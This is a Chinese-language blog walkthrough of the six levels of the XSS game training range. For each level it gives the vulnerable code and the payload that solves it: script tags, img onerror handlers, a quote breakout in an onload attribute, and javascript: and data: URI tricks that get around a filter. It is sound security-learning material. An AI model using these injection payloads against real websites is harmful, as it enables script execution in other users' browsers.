Iridescent's blog

Back

XSS-GAME wp

靶场:XSS game

level 1#

1.输入框,随便输入测试页面对用户输入的处理 image-20260406141904653

2.发现 完全没有任何处理和转义,页面直接输出我们的代码—即反射型xss

3.输入payload,成功。

<script>alert(1)</script>
html

补充笔记:

  1. 反射型 XSS(Reflected XSS):直接拼接”进最终生成的网页结构(HTML)里返回给浏览器。用户输入什么,页面直接输出什么。
  2. alert():javascript里能弹出弹窗的指令,html中用<script>用来包裹js代码 ,执行。

level2#

1.留言/输入显示出来,需要html里的innerHTML属性,innerHTML 会禁止<script> 标签的被执行,因此没办法直接使用 image-20260406142501829

2.看输入对应的源码

3.html变量里的内容都会经过innerHTML被解析成html代码,我们在此利用<img> 标签的错误事件处理onerror—即无法找到图片地址时会自动触发onerror 事件,执行js代码。

4.payload:

<img src="x" onerror='alert(1)'>
html

level3#

Sometimes this fact is hidden by higher-level APIs which use one of these functions under the hood. 正如你在上一关看到的,一些常见的 JS 函数 是执行汇 ,这意味着它们会导致 浏览器中出现的任何脚本。 有时这一事实会被更高级的 API 隐藏, 在底层使用这些功能之一。The application on this level is using one such hidden sink. 这一层的应用就是使用这样一个隐藏的汇流。

类型:DOM-based XSS

点击图片,发现url里#参数跟随发生变化,找到注入点;看源码;

function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);

        window.location.hash = num;
html

直接拼接出的字符串作为html代码转化,沿用上一题的思路,用img标签下的onerror错误处理;

payload:

<img src='/static/level3/cloud" + num + ".jpg' />
111' onerror='alert(1)'
"<img src='/static/level3/cloud#111' onerror=alert(1)+ ".jpg' />
html

level 4#

找到注入点timer ,

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
html

payload:

<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
{{ timer }} -->3');alert('1   // '); 闭合单引号
<img src="/static/loading.gif" onload="startTimer('3');alert('1');" />
html

补充笔记:

  1. onload属性会被当作js代码执行。

level 5#

1.看源码,输入的email会被直接忽略,直接执行到next的超链接,

<body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">

    <br><br>
    <a href="{{ next }}">Next >></a>
  </body>
html

2.get输入next参数,在这里注入。href 支持javascript: 伪协议 ,构payload,成功。

http://……/signup?next=javascript:alert(1)
plaintext

补充笔记:

<a href= "https://aaa.com">aaa</a>;  //href 为超链接的地址
html

交互式xss,需要用户点击超链接。

level 6#

window.location.hash.substr(1) 提取url输入,注入在这里。

// Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
html

url 会被放到src 做文件地址,有正则匹配。

function includeGadget(url) {
      var scriptEl = document.createElement('script');
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
      // Load this awesome gadget
      scriptEl.src = url;
html

绕过方法,考虑 data:text 伪协议。构payload:

https://……/frame#data:text/javascript,alert(1)
html

补充笔记:

  1. html里,src是文件路径

  2. if (url.match(/^https?:\/\//)) 正则表达式,看^https?://,^从第一个字符开始,?前的字符出现次数无规定0-fff,\ / 是/。

  3. url=https://example.com#example location.hash 返回#example,所以常和.substr(1)配合使用截除#,保留后面的部分。

image-20260406151808952

通关!


学习笔记:https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS

XSS-GAME wp
https://iris-escent.github.io/blog/xss-game/xss-game%E9%9D%B6%E5%9C%BAwp
Author Iridescent
Published at 2026年4月6日
Comment seems to stuck. Try to refresh?✨